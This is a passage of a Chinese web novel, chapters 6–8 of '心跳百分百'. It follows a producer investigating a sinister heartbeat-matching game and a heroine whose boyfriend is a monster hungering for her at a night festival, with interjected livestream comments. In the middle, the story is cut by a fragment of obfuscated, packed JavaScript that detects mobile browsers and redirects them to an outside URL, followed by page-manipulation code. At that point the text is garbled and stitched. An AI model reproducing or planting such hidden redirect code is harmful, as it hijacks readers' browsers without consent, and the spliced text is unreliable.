自己和对方在嘉恒大厦说完噩梦的事后,对方就记在了心里,然后瞅准时机用这个狠狠给她一击! 徐媛委屈又气愤地想,她不过是说话直爽了一些,不像普通女人一样拐弯抹角眼,阮思甜就这样背刺她,还对她进行消极的心理暗示! 亏自己还把这种人当朋友!没想到这么卑劣! 对,一定是这样! 终于,她为自己反常的情绪找到了理由。 徐媛发自内心地感觉自己一片真心喂了狗! 就在她情绪有所缓和时,“哗哗”的海浪声传来,伴随着海鸥的低鸣。 记忆深处似乎有什么东西被唤醒,牵引而出。 “阿媛姐姐,听说海边有鲸鱼,以后我想和你一起去看可以吗……” 徐媛愣住了。 然后呢? 没有然后,记忆在此断片。 她用力甩甩头,想把那股莫名的不安甩出去。 接着,她打开手机,点开软件。 看着那个最近和她聊的热火朝天的人,徐媛的嘴角露出微笑。 他的id叫默,头像是一片深海。 就在徐媛想着她和默的甜蜜回忆时,一道干练的女声出现。 “徐小姐。” 徐媛差点被吓了一跳,猛地回头。 一个带着细边眼镜的陌生女人站在不远处,静静地看着她。 6. 心跳百分百(六) 夕阳时分,海边私人咖啡馆。 徐媛和文雪相对而坐。 文雪微微一笑,细边眼镜后的目光沉静而专注。 她起身,递过去一张名片,“徐小姐,幸会。我是文雪,《午夜都市》节目的制片人。” 闻言,徐媛的表情认真了几分。 她将背挺直了几分,捧起手中的咖啡杯,姿态优雅地喝了一口。 “请问找我有什么事吗?” “是这样的,我们这期专题,想寻找一位特殊的女性作为采访对象。” 文雪打开平板,调出几页简洁的策划案,“那种在私人生活与公共影响力之间找到平衡,并且敢于展现自身真实情感的当代女性。” 徐媛瞥了一眼,有些犹豫,“听起来很有意思,但我最近有点忙。” “可以理解。”文雪点点头,语气平淡,“我们最初赛选名单时,其实也考虑过您的朋友阮小姐。” 徐媛端着咖啡杯的手顿了顿。 “但是团队评估后认为,阮小姐的生活更偏向一种私人化的、被惊心呵护的优雅。” “而我们想记录的,是在更广阔的领域主动发声的新时代女性。” “比如您坚持的环保倡议,以及您面对公众争议时表现出的坦率。” 徐媛的嘴角不自觉地上扬了一点。 “既然你们这么有诚意,”她放下杯子,露出得体的微笑,“那我们可以聊聊。” * 采访为期三天,徐媛将文雪他们带到了位于市中心的公寓。 房子很大,装修风格以复古为主,到处摆放着徐媛惊心淘回来的老古董,还有一些风格抽象的艺术品,看着不太像是年轻人的品味。 赵杰在一旁扛着录像机,颜乐作为助力也没闲着,陈野和江敛则被文雪安排成司机和杂工,找了个理由打发了出去。 没办法,这两人实在太影响团队形象,有他们在,穿帮的概率很高。 采访前半程很顺利。 文雪展示了他们对徐媛表面人生的精准了解,像她参与的几个环保项目,她父母经营的业务,她在社交场合的活跃度。 全程巧妙地绕开了私生子传闻或家庭内部可能存在的裂痕。 徐媛很满意。她要的是光鲜的记录。 话题转到当代年轻人的压力与情绪时,文雪语气自然:“很多人会焦虑、茫然,甚至反复做类似的噩梦……” 听到噩梦两个字时,徐媛脸上的笑容僵了一点。 她端起水杯,喝了一口,才用云淡风轻的语气接道:“压力肯定有,但我觉得关键在于自我调节。” “比如我,就会通过运动,冥想,还有发展一些独特的兴趣爱好来排解。” 文雪察觉到她的回避,并没有追问。 【这女的心里肯定有鬼!】 【放心吧,以雪姐的观察力,肯定早就察觉到了。】 当话题转向生活趣味与情感生活时,徐媛的眼睛明显亮了起来。 “现在很多社交都太浮躁了,很多人对待情感的态度也很轻佻,甚至偏物质化!”她捋了捋头发,意有所指。 “我更喜欢一些有深度的连接。” “哦?请问是怎样的连接呢?” “哈哈,你一定猜不到,”徐媛露出有些调皮的笑容,“是通过一款小游戏。” 文雪很配合地露出感兴趣的神色。 徐媛继续卖关子:“可不是大街小巷铺天盖地宣传的那种庸俗货色哦,这小游戏很特别的!一般人get不到它的奇妙之处!” 【yue了,听这npc说话,我的大脑仿佛受到了神秘力量的污染。】 【我也是,要不是好奇后续,我恨不得立刻划走!来个人把这npc叉出去吧!】 【再忍忍,任务第一环失败率很高,往往是让玩家们观察与探索用的,估计很快下线!】 只见徐媛拿出手机,指着那个心脏跳动的图标,“与其说它是游戏,不如说是灵魂的羁绊之处。” “也就是在这里,我遇到了我灵魂中的另一半,王默。” 她开始讲述和王默的相识。 “那是个叫心跳回音的小游戏。”徐媛的声音放轻了,眼里闪着奇异的光。 “午夜十二点,独自一人待在一个封闭的房间,关掉所有灯,拿起手机。” “点开游戏后,系统会对玩家们进行匹配,但不是直接连线或者随即配对那种。” “每个人的屏幕变成一片纯黑,中间只有一个跳动的光点,那是你实时的心跳,通过特殊传感装置上传的数据。” “然后,黑暗里会响起另一个人的心跳声,从很远的地方传来。你要做的,就是在黑暗里走向那个心跳声的方向。” “刚开始我还有点害怕,不知道为什么,那一片黑暗中,我总觉得好像真的能听到另一个人的心跳声,好像真的还有另一个人跟我一起待在这片黑暗里……” “据说匹配的池子里有数百个玩家,我以为我会走很久,失败很多次,也不一定能成功。” “可那天深夜,我只走了十几步,黑暗里就突然亮起了另一颗光点,几乎是紧贴着我的。” “系统提示说我们心跳同频率高达百分之九十九,匹配成功。这真的是太奇妙了!” “后来王默告诉我,”徐媛抬起眼睛,看向文学,眼神里有一种难以言说的迷醉感,“他那边的黑暗里,我的光点从一开始……就在他的面前。” 文雪保持着倾听的姿态,脊背却微微绷紧。 心跳同频率百分之九十九?在随机匹配的百人池里瞬间定位? 这听起来不像是算法,更像是…… “他很特别。”徐媛继续说,语气十分柔软,一副沉浸在爱情里的模样。 “他好像天生就很懂我,我喜欢什么,讨厌什么,甚至我自己都没有意识到的习惯,他都知道。” “我们聊天,总是能接上对方的话,就像,”她努力寻找着词汇,“就像灵魂早就相识。” 听着听着,颜乐感觉自己鸡皮疙瘩都要起来了。 并不是因为肉麻,而是某种无法言说的恐惧。 虽然她是个大胆又新潮的姑娘,对突兀地被拉入噩梦世界这一事,也接受良好,但当近距离接触那种诡异的情况,她心里还是忍不住发毛。 她又看了一眼文雪,看到对方冷静自若的样子,心中十分佩服。 徐媛忽然想到了什么,脸上泛起红晕,“对了,我们明天要第一次正式见面。” 她看向文雪和镜头,眼神中充满爱情需要见证的期待感,“不如你们跟拍吧?我觉得我和王默的故事,值得被记录下来。” 文雪几乎没有犹豫,“当然,这是很好的素材。请问时间和地点?” “明天晚上七点,交界餐厅。”徐媛笑得甜蜜,“那地方很有格调,一般人很难get到的!” * 这一次采访在一种皆大欢喜的氛围中结束。 徐媛沉浸在即将被记录浪漫爱情的喜悦中,文雪他们则拿到了关键信息:第一次约会的时间,地点,以及那个诡异无比的心跳回音游戏。 离开公寓楼,赵杰低声问:“雪姐,那个游戏……” “有问题。”文雪言简意赅,“匹配机制不像是随机,更像是精准投放。当然,也有可能是锁定。” 猎手在捕食前对猎物进行的精准锁定。 “而且心跳同频……”她没说完,眼神有些沉重。 一直沉默的江敛咬了咬牙,忽然开口,“我还是觉得那个梦很重要。我们要不要也去查查她的朋友阮小姐,她明显知道——” “你tm的还没完了是吧?”赵杰猛地扭头,暴躁地打断了他的话,眼神不善,“想死就离远点!晦气!” 江敛涨红了脸,“我不是那个意思!我真觉得她身上可能隐藏着重要线索!” 【受不了了!可不可以让这个脑残玩意赶紧下线!】 【恶心,这新人是不是魔怔了!npc再好看,能有自己的命重要?逆天!】 【不是,我觉得人家小哥可能真的只是想找出更多线索,你们为什么非得认定他色迷心窍?看面相也不像是那种人啊!】 【楼上的,你就喜欢和大家唱反调,显示自己比别人眼光独到是吧?跟徐媛那个恶心的npc一样!】 【我也觉得可能是线索,文雪是不是谨慎过头了?那些排行榜上的大佬,哪个不是副本探索度超高的?】 【你懂个毛!雪姐通关率一直不错,靠的就是稳!】 【是啊,稳到至今没进过一个A级本……】 无限世界的直播弹幕中一片争吵声。 而在副本世界这边,也同样“热闹”。 “够了!”文雪打断这两人,她声音不高,但带着不容置疑的力度,“当前首要目标是徐媛和明天的约会。” “江脸,你的提议虽然有一定依据,但是风险也很高,暂且搁置。” 江敛张了张嘴,陈野用颇为同情的目光看了他一眼。颜乐欲言又止,最终还是低下了头。 他感到一阵难堪,默默地把剩下的话咽了回去,指甲掐进掌心。 * 因为要接待集团的重要客户,陆秋白最近几天都没回家。 阮思甜心中有些无奈。 她窝在沙发里,抱着抱枕,没忍住发了一条消息过去:“我今天和狗子去海边啦,虽然知道没有,但还是傻乎乎等了好久鲸鱼。你以前说过,要和我一起看的。” 消息像石沉大海。 过了半小时,手机才震了一下。她立刻抓起来看。 陆秋白:“嗯。” 就一个字。 阮思甜把脸埋进抱枕里,有些闷闷不乐。 知道他很忙,知道他本来就不爱用手机聊天,也知道他回复的风格一向如此,可还是会觉得,心像被凉水浇透一样。 有那么一点点失落。 其实也没指望他多热切地回应,可她好几天没见到自己的男朋友了,说不想念是假的。 就是想和他说说话而已,也不知道抽空打个视频回来! 讨厌! 她索性打开手机游戏,打算“玩弄”一下小狗治愈心情。 总裁办公室里空荡荡的,显然,游戏里这只狗又一次“离家出走”了。 阮思甜不由更郁闷了。 她将画面切换到了前台。 章鱼小姐正在偷偷用一条触手补妆,看见她出现,吓得差点把口红戳进嘴里。 “你们老板呢?”阮思甜轻轻戳了戳她,语音转化为气泡文字。 章鱼小姐五只眼睛同时眨了眨,触手比划着:“老板去见一位重要的客人啦,好像是有什么项目要合作,哦,对了,老板还想向他咨询一下食欲管理的问题。” 在小狗看不到的角落,他的下属毫不犹豫地将他的动向出卖了个干净。 食欲管理?阮思甜不解。 小狗最近吃太多了吗?游戏设定还挺细节。 小狗不在,她无聊地闲逛起来。 点开新解锁的“员工食堂”地图,画面跳转到一个极其宽敞的空间。 各色各样的食物陈列在取餐台上,看着精致得像艺术品。 但食堂里的员工们,emmm 一群奇形怪状的可爱q版人三三两两围坐着,对着牛排和沙拉唉声叹气:“好难吃!再这样吃下去,我离回深渊再造也不远了!” 还有员工用触手举起一块红烧肉,“吐了!每天高强度工作,黑心老板就给我们吃这个!还没有我的触手好吃……” 阮思甜看得哭笑不得,心情也变好了许多。 q版人还在聊天,“听说新旧城区交界那边新开了家‘交界’餐厅,口碑超好!下次发薪日去试试。” 也许是触及了关键词,游戏界面忽然弹出一封精致的q版信件,信中邀请她明天下午七点一起去交界共进晚餐。 信纸末尾,还画了个歪歪扭扭的狗爪印。 阮思甜愣了两秒,随即“噗嗤”笑出声,刚才那点失落瞬间被冲淡了。 这游戏也太会了吧! 退出游戏后,她想到游戏制作人独特的趣味,鬼使神差地打开现实地图软件,搜索交界这家餐厅。 居然真的存在? 位置标注在新旧城区交界处,一个她几乎没去过的偏僻角落,评分很高,评论却很少,透着神秘感。 “还真是彩蛋?”她嘀咕。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16959064|193275||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 就在这时,手机震了。 陆秋白:“明天回,晚上有空。” 阮思甜眼睛一亮,手指如飞:“那我们去交界餐厅?听说那里挺有特色的。” 对面停顿了几秒。 陆秋白:“好。” 依然简短,但她却抱着手机,在沙发上滚了半圈,嘴角压不住地上扬。 刚才的“嗯”和现在的“好”,明明都是冷淡至极的字眼,现在却让她觉得,他好像一直默默听着她所有琐碎的念头,然后默默地回应。 没办法,男朋友就是这样的人呢! * 第二天傍晚,阮思甜特意打扮了一番。 她想起陆秋白回来那晚,目光曾在她脚踝的绿钻脚链上停留片刻。 于是今天,她戴上了一整套简约的绿钻首饰。 看到那条脚链时,她抿了抿唇,又矜持地将它放了回去,打算晚上让男朋友回来亲自为她…… 阮思甜摸了摸自己的脸颊,感觉有些发烫。 钻石切割的很好,在渐暗的天光下流转着鲜活的光泽,像把春日原野的绿意洒在了身上,衬得那张温软美貌的脸越发动人。 就要打扮的美美的,然后去见心爱的男朋友! 他们约好在餐厅附近的一个小广场见面,阮思甜提前到了,坐在一条长椅上等待。 暮色是温柔的橘粉色,一点点浸染天空。 时间一分一秒过去,街灯次第亮起,行人匆匆,那个熟悉的身影却没有出现。 她发了条信息:“我到了哦,你在哪?” 没有回复。 又等了二十分钟,阮思甜开始有点不安。 倒不是生气,陆秋白工作忙,偶尔迟到或有急事她理解。 望着越来越暗的天色和陌生的街道,一种淡淡的孤独感还是漫了上来。 她决定先去找找那家名为“交界”餐厅。 * 那家餐厅名为交界,地址也确实在新旧城区的交界地带。 按照地图导航,她穿进老城区纵横交错的小巷。 这里和光鲜的新区截然不同,墙壁斑驳,电线杂乱,空气里有陈年的烟火气。 导航在这里似乎不太灵光,七拐八绕,她竟彻底迷失了方向。 就在她准备放弃,想原路返回时,一阵喧闹的欢笑声和食物的香气从前方巷口飘来。 她循着声音走过去,眼前豁然开朗。 一条不算宽阔的老街,此刻张灯结彩。 灯笼是手工糊的,透着暖融融的光,彩带用回收的布料和彩纸做成,在晚风里飘摇。 空气里弥漫着烤红薯甜腻的焦香、糖画熬煮的麦芽甜,还有油炸食物的诱人气味。 人们穿着干净但洗得发白的衣服,脸上却洋溢着纯粹的笑容。 孩子们盯着棉花糖和糖葫芦不放,老人絮絮叨叨地在小摊上唠嗑,年轻人在临时搭起的摊位上忙碌,一切是那么热闹。 这是一场春日的庆典,粗糙却充满生命力。 在这片被繁华遗忘的角落,人们用力欢笑、生活着,竭尽全力在荒芜的人生中点亮生命的色彩。 阮思甜站在街口,有些愣神。 这里的快乐如此直白,和她熟悉的那个精致而充满距离感的世界完全不同。 那一刻,等待的焦虑和迷路的烦躁奇异地平复了,却又有些茫然。 她漫无目的地行走在喧闹的长街上。 天尚未黑透,已有简陋的烟花在天空中炸开,带着廉价的热闹。 人们仰头欢呼,孩子们兴奋地尖叫,阮思甜也抬起头,看得有些出神。 随着时间的推移,天色彻底黑透,庆典进入高潮,陆秋白依然没有消息。 那份孤独感去而复返,甚至更深了。她站在欢腾的人群里,像个误入的旁观者。 渐渐地,烟花的种类变了。 一系列精美得惊人的全息电子烟花,相继绽放在夜空,形态逼真。 先是发光的水母缓缓舒张触手,然后是成群的海豚跃出星光构成的深蓝“海面”,接着是斑斓的鱼群…… 人群发出惊叹,这显然超出了这个简陋庆典该有的规格。 阮思甜也怔住了,仰着头,眼睛一眨不眨。 最后一缕光彻底沉入地平线,天空一片深沉的蓝黑色。 然后,它出现了。 一头庞大到几乎占据半片夜空的蓝鲸,从对面新城区的璀璨灯海方向,缓缓地、悠然地游了过来。 它的身体由无数流动的光点构成,浑身上下折射着梦幻的光泽,尾巴摆动间,洒落漫天细碎的光尘,如星河流淌。 街道上瞬间鸦雀无声,所有人都被这神迹般的景象震惊到了 那头鲸不偏不倚朝着阮思甜所在的方向而来,越来越近,温柔的虚影仿佛穿透了夜色。 它直直地游了过来,似要撞入她的怀中。 阮思甜忘了呼吸,心脏在胸腔里疯狂跳动。 就在璀璨的光影几乎要将一切覆盖吞没的刹那,她的目光穿透那一片流动的光海,看到了鲸鱼来时的方向,街道的另一侧。 喧嚣的人群、摇曳的灯笼、食物蒸腾的雾气,一切都在那一刻虚化、消散。 唯有他站在那里。 她的男友,她的未婚夫,她此生注定的爱人。 陆秋白! 他穿着最简单的白衬衫,袖子随意挽到手肘,露出清瘦的小臂。 没有西装,没有眼镜,此刻的他仿佛脱离了俗世的烟火,干净的像个十七八岁的少年。 他没有看头顶震撼的鲸鱼,没有看周围痴迷的人群,只是静静地看着她。 隔着半街灯火,隔着烟花余烬,隔着熙攘人潮。 他在看着她。 只是看着她而已。 那目光深沉而静谧,像午夜时分的星空,又像是初春海水。 她置身于星海之间,不知今夕何夕。 他的沉静之中带着一种近乎专注的温柔,仿佛从旧日的时光而来,穿越漫长的岁月,只为在此刻与她目光相接。 就像做了一场看不见尽头的梦,而他在梦境最深处。 又似如梦初醒。 而那人在灯火阑珊处。 7. 心跳百分百(七) 庆典的喧闹声仿佛在那一刻褪去,化作遥远的背景音。 世界如深海般寂静。 隔着半街的灯火与人潮,阮思甜看着那个站在光影交界处的人。 他静静地立在深蓝夜色下,白衬衫的袖口随意挽到手肘,露出清瘦好看的小臂线条。 阮思甜毫不犹豫地朝他走去。 等走到眼前,阮思甜才注意到,他的左眼眼角下方,有一颗极淡的红色泪痣。 平时总被金丝边眼镜的镜框边缘恰到好处地遮住,让整张脸看起来清雅中带着拒人千里的冷漠。 此刻没有了镜片的阻隔,那颗小小的红痣便露了出来,像雪中不经意溅上的一滴血,温雅中骤然多了清艳,令人惊心动魄。 他就用那双茶褐色的眼睛看着她,目光幽静。 她的心跳漏了一拍。 她仰起脸,故意用轻快的语气掩饰刚才那一瞬间的失神:“陆老板忙完啦?” 声音里带着撒娇的意味。 陆秋白垂下眼看着她,很轻地“嗯”了一声。 他的视线在她脸上停留片刻,然后移向她耳垂上那对流转着微光的绿钻耳钉,又滑过她脖颈间同系列的项链,最后落在她空荡荡的脚踝。 那里没有戴他上次留意过的那条脚链。 阮思甜察觉到他的目光,耳根微微发热。 他没有说什么,只是将身侧的手抬了起来。 他的手中有一盏手工做的纸灯,模样是只丑萌丑萌的小狗。 小狗骨架是用粗糙的竹篾做的,外面糊着泛黄的棉纸,那颗圆滚滚的脑袋上竖着两只憨憨的耳朵,机灵中透出股傻气。 蜡烛的光透过纸面传出,晕开一团暖黄色。 那光仿佛有了生命,变得和真的小狗一样,毛绒绒的,温暖而明亮。 阮思甜愣了一下,伸手接过。 她的手是温暖的,指尖与她相触不过片刻,但在那瞬间,陆秋白又一次感受到了她雪白皮肤下,那无声流淌的温热血液。 * 纸灯比她想象的要轻,提在手里,那团暖光就在她掌心下方轻轻晃动,像是小狗跳动的心。 “你买的吗?” 她抬头问,目光扫过不远处,那里有一个正在售卖纸灯的老爷爷。 陆秋白没有回答。 就在这一瞬间,阮思甜的脑海里毫无预兆地闪过一个画面。 也是这样的夜晚,也是这样的暖黄色灯光。 容色清艳的少年站在她面前,穿着洗得发白的校服衬衫,手里也提着一盏小狗形状的纸灯。 那灯做得更粗糙,竹篾歪歪扭扭,棉纸糊得皱巴巴,小狗的脸甚至有点歪。 但那双用墨水点出来的眼睛却亮晶晶的,和她记忆中那只哈士奇神似。 那时的她也仰着脸,问了类似的问题:“你哪里买的呀?” 少年抿着唇不说话,只是把灯往她手里塞。 她瞥了一眼他垂在身侧的手,注意到她的视线后,他急忙把手往身后缩。 可她还是眼尖地发现了。 他修长白皙的手指上缠着歪歪扭扭的创可贴,边缘还渗着一点暗红色。 她有些霸道地拉出她的手,放在手心中仔细端详。 他白皙的手背上还有几道新鲜的细长伤痕,那是被竹片刮出的。 阮思甜一下子明白了。 她随口提过一句“好想要一盏属于我们俩的小狗灯哦”,他就在繁重的课业间隙偷偷去学。 虽未亲眼所见,她还是能想象出当时的情景。 他笨拙地削竹篾,糊棉纸,一遍遍失败,最后做出这盏丑得可爱的小灯。 记忆里那盏灯散发出的光,也是这样的暖黄色,毛茸茸的,像是把整个世界的光都收集起来,浓缩在这小小的纸灯笼里。 那么温暖,那么明亮。 那光穿透漫长的岁月尘埃,越过记忆里模糊的边界,与此刻手中这盏灯的光晕重叠在一起。 它模糊了时间的界限,模糊了真实与虚幻的边界,温柔地将他们笼在其中。 好像他们真的一起走过了那么长的岁月,从青涩少年到成熟男女,从未分离。 有什么地方不对劲! 心口毫无预兆地爆发出一种尖锐的疼痛感,阮思甜的嘴唇不受控制地颤抖了两下。 她张了张嘴,想说点什么,可话到了嘴边,却一个字也吐不出来。 要说什么呢? 她有片刻的茫然。 是感动吗?是怀念吗? 好像都不是。 那是一种更复杂的情绪,难以名状,混杂着甜蜜的刺痛、温暖的荒凉。 以及某种深埋在记忆里的惊恐。 虽然看似平静,但她的情绪产生了极大的波动,陆秋白敏锐地捕捉到了这一点。 那种强烈情绪对他而言,像是食物散发出的香味骤然浓郁。 不过他很好地克制住了,平静温和的眼神中只是浮现一丝探究的意味,转瞬即逝。 * “怎么了?” 陆秋白的声音将她拉回现实,阮思甜猛地回过神,用力眨了眨眼。 手中灯还在散发着温暖的光,眼前的男朋友正安静地看着她,茶褐色的眼眸在暖光映照下流转着柔和的光泽。 刚才那一瞬间汹涌的情绪潮水般退去,只留下心头空落落的钝痛。 “没什么,”她努力摆出一个笑容,“就是突然被感动到了,我没想到你亲手给我做了这个。” “谢谢,我很喜欢。” 她顿了顿,转移话题:“预约的时间到了吧?现在赶过去应该来不及了。” “没关系。”陆秋白说,“我们随时过去都可以。” 他的视线还停留在她脸上,仿佛在确认什么。片刻后,他才移开目光,很自然地朝她伸出手。 阮思甜会意,将空着的那只手放进他的掌心。 他的手指修长,骨节分明,掌心带着微微的凉意。 当他的手指收拢,将她的手完全包裹住时,奇异地抚平了她心头残余的不安。 * 烟花表演已经结束,老街上的庆典却正值高潮。 一个个手工糊的灯笼在晚风里轻轻摇晃,洒下斑驳晃动的光。杂乱的电线在头顶纵横交错,切割着被灯火照亮的夜空,让整条街看起来像个光怪陆离的梦。 阮思甜一手提着小狗灯,一手被陆秋白牵着,穿行在熙攘的人群里。 很快,他们在一处小摊前停下脚步。 摊主是个头发花白的老太太,脸上满是风霜之色,笑容却很是慈祥。 她脚下的水盆里,装满了一只只蜡油捏的小动物,五颜六色的,还挺可爱。 只需要花十个星海币,就能用一个小小的网,任意打捞其中的五小只。 阮思甜眼睛一亮,回头看向陆秋白。后者会意,从口袋里掏出零钱递给老太太。 随后,她蹲下身,小心翼翼地用网兜去捞那只黄色的小鸭子。 蜡制品很轻,在水面晃晃悠悠,她先是用网兜的边沿戳了戳其中的一只,鸭子被戳倒后又立刻竖起,很有几分顽强不屈的意思,见状阮思甜眼里流露出有些顽皮的笑意。 当她蹲下时,整片脖颈暴露在他的视线中,陆秋白的目光在那里长久地停留。 雪白的皮肤下脉搏跳动,轻微却又满含生命力。 玩够了后,她才慢悠悠地开始捞,捞的都是鸭子。 它们躺在网兜里,圆滚滚的身体特别可爱。 边上好几个孩子用羡慕的眼神看着她,脸上流露出渴望之色。 过了一会,她心满意足地站起身,“就要这五只。” 闻言,老人找了个透明的小塑料袋,用颤巍巍的手给她装好。 正要离去,只听对方说道:“姑娘,这个花送你,我今天早上摘的。” 阮思甜接过后道谢,心中为这朴素的热情与善意而微微感动。 之后,她把战利品递给旁边的男朋友,“帮我拿着。” 陆秋白接过那几只装好的小小蜡鸭子,脸上没什么表情,但阮思甜注意到,他的目光在那只小鸭子上停留了好几秒。 就像在研究什么。她想。 * 接下来是套圈游戏。 阮思甜的目标是角落里那只绒毛小狗玩偶。 灰白相间的毛色,蓝色玻璃珠做的眼睛,很好,就要你了! 她买了十个圈。 第一个圈擦着玩偶的头飞过去,第二个圈撞在玩偶身上,弹开了。 第三个、第四个……连续十个都落了空。 阮思甜也不气馁,她转过头,扯了扯男朋友的袖子,声音里带着刻意拖长的绵软尾音:“我套不到嘛,你帮我套好不好?” 被她触碰的刹那,他衣袖下的肌肉有一瞬间的绷紧。 陆秋白垂眼看着她。 暖黄色的灯光落在他睫毛上,在眼睑投下一小片阴影。他的目光从她微微嘟起的嘴唇,移到她拽着他袖子的手指,最后落 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“要……要的。”小女孩终于小声开口,伸出双手,小心翼翼地接过。 她将它们捧在手心里,像捧着什么珍贵的宝贝。 阮思甜本以为她会道谢,谁知她忽然跑开了。 这孩子可真是…… 不过出人意料的是,她很快又跑了回来,气喘吁吁地站在她眼前,踮起脚,努力把什么东西往她手里塞。 那是一根小狗形状的糖画。 “姐姐,这个给你,我爷爷做的。” “我、我看姐姐有小狗灯,”小女孩红着脸,声音细细的,“姐姐一定喜欢小狗。” 阮思甜的心像是被什么柔软的东西轻轻撞了一下。 她摸了摸小女孩的头,“谢谢。” 抬眼看向不远处,只见一个头发花白的老爷子正守在糖画摊前,对她友善地笑了笑。 小女孩害羞地笑了笑,朝她挥挥手,然后将那袋鸭子抱在心口,一蹦一跳地跑进了人群深处。 人类是一种奇妙的生物,他们肮脏、丑陋,却又温暖而美好。 那美好包裹在血肉之躯中,让人想要破坏,吞噬,占有。 一点一点地吞下,细细地品味,永远成为他的一部分。 陆秋白想,他可能确实饿了! * 两人走到一处相对僻静的小巷口。 巷子很窄,一侧是斑驳的老墙,墙根处长着湿漉漉的青苔。另一侧是棵枝叶繁茂的老槐树,茂密的树冠伸展开来,将巷口遮住大半,也挡住了大部分来自主街的喧闹与灯光。 巷外是流动的人间烟火,光影在远处摇曳,混杂着喧闹人声。 而巷内却像是被那棵老槐树隔出的另一个世界,这里幽深狭长、光线昏暗。 阮思甜举起那支小狗糖画,小心地咬了一口。 糖块在唇齿间碎裂时,发出细微的声响。 这声音对陆秋白而言异常清晰。 她并没有注意到他,只是专心吃糖。 甜味在舌尖化开,是麦芽糖的香甜,十分浓郁,混杂着一点焦糖特有的微苦,恰到好处地中和了腻味。 她满足地眯起眼。 他的目光落在她沾了一点糖渍的嘴角,随后又落在她微微张开的唇上,那里露出了一点洁白的牙齿,还有一点粉色的舌尖。 那舌尖正无意识地舔过下唇,将残余的糖渍卷走。 陆秋白下意识地想要模仿这个动作,又强行止住这股冲动。 他的目光在此定格。 小巷昏暗,陆秋白一动不动,却有一道浓重到几乎化作实质的黑影在悄悄蠕动。 起初它一团混沌,发出无声的尖啸,挣扎、扭曲、变形。 渐渐地,它脱离主体,如水一样无形地渗透进她身后的墙壁。 一点一点地,它在靠近她,并渐渐模仿变形。 头,躯干,四肢,最终化作人形。 片刻不到,那片人形停在了她的后背,与她紧密相贴。 一双手慢慢滑向她的脖子,那颗头低下、凑近,而后是狰狞的嘴张开,对准皮肤下流动的血管。 血液温暖的香味混杂着若有若无的橙香弥漫。 阮思甜却什么也没有察觉到,她只是抬起头,晃了晃手里的糖画。 “阿白,你要不要尝尝?” 8. 心跳百分百(八) 她出声的瞬间,黑影消散,陆秋白猛然回神。 他没说话,只是拿着那只毛绒狗玩具,静静地看着她。 不知道为什么,被那样的目光盯着,她心里有些发毛。 就在她以为,他会回答不想时,他却无声地朝她靠近了一小步。 两人之间的距离骤然缩短,他身上那股清冽的冷香侵袭而来,混着老树潮湿的草木气息,在这狭窄昏暗的空间里显得格外清晰。 他没有动。 阮思甜以为他顾虑自己的形象,不好意思在外面吃东西,便善解人意地提议:“要不把灯吹灭?这样他们就看不到你吃糖啦。” 她说着,真的俯身去吹灭灯里的蜡烛。 暖黄色的灯火应声熄灭,巷内顿时暗了几分,只有远处主街的灯光透过树叶缝隙漏进来,在地上洒下破碎的光。 男朋友还是没有动。 他依然站在她面前,在昏暗的光线里,他的轮廓显得有些模糊,只有那双茶褐色的眼睛亮得惊人。 阮思甜等了几秒,见他还是没有反应,便试探着将糖画往他唇边递了递:“真的很好吃——” 话没说完,他忽然动了,没有去接那根糖画,而是径直俯身,手中的毛绒狗掉在了地上。 那张温润秀逸的脸突然在眼前放大,冰冷的木调香味瞬间将她紧紧包裹。 阮思甜僵住了,她睁大眼睛,略显吃惊地看着她。 他微微垂着眼,那颗红色的泪痣在微弱的光线里若隐若现。 记忆中那张少年的脸再次浮现。 那画面一闪而逝,还不待她想起什么,他的唇就落在了她的唇上。 冰凉,柔软,带着他特有的味道。 她的呼吸停了一瞬。 大脑一片空白,唯一清晰的感知是唇上传来的凉意,以及自己骤然加速的心跳。 那心跳声大得仿佛要冲破胸腔,在寂静的巷子里回荡。 就在这个瞬间,巷外传来脚步声和说话声。 是一对母子。 母亲的声音温和:“慢点跑,小心摔着。” 孩子清脆的童音应着:“知道啦妈妈,我想吃糖画,要小老虎的!” 他们的脚步声越来越近,眼看就要经过巷口。 阮思甜浑身绷紧,下意识想要后退,后背却抵在了冰冷的砖墙上,无处可退。 * 幸运的是,那对母子最终没有拐进巷子,也没有发现他们。 两人的身影被老槐树茂密的枝叶挡住,脚步声和说话声渐渐远去,最终消失在主街的喧闹里。 她松了口气,紧绷的身体微微放松。 也就是在这时,她才意识到,陆秋白的唇还贴在她的唇上。 他没有进一步的动作,只是这样安静地贴着,像是在感受什么,又像是在等待什么。 阮思甜眨了两下眼睛。 几秒后,陆秋白微微退开一点。 昏暗的光线里,两人的目光对上。他的眼睛深得像夜色下的海,平静的表面下涌动着令人心悸的暗流。 她的脑子一片混乱,下意识地、结结巴巴地开口:“糖画、糖画是不是很甜?” 话一出口就后悔了。 这问的是什么蠢问题! 陆秋白没有笑。 他看着她,目光沉静,语气平淡得像在陈述一个事实:“还没尝出味道。” 话音刚落,他忽然伸手,揽住她的腰,将她往自己怀里用力一带。 阮思甜猝不及防,整个人撞进他怀里,手中的糖画差点脱手。 她慌忙握紧,另一只手里的小狗灯却“啪嗒”一声掉在了地上。 陆秋白没有理会。 他一只手揽着她的腰,另一只手撑在她身后的墙上,将她困在自己与墙之间,似被捕捉的猎物,无处可逃。 两人的身体贴得很近,近到她能感受到他衬衫下紧实的肌肉线条,以及那副躯体下的微凉体温。 他的身影完全笼罩了她。 巷外漏进来的灯光被他的身体挡住大半,阮思甜陷入更深的阴影里。只有他身后边缘晕开一圈模糊的光,将他挺拔的身形勾勒出一道发亮的轮廓。 他的目光又一次落在她耳垂的绿钻耳钉上,而后滑过她颈间的项链,最后回到她脸上。 “很好看。”他说。 声音很低,带着某种意味深长的喑哑。 阮思甜的耳根瞬间烧了起来。 她知道他指的是什么,他注意到她今晚特意戴了这套首饰,也注意到她脚踝上那条缺席的链子。 这种心照不宣的暧昧像细小的电流,顺着脊椎爬上来,让她头皮发麻。 * 陆秋白重新低下头。 这一次,他的吻不再像刚才那样蜻蜓点水。 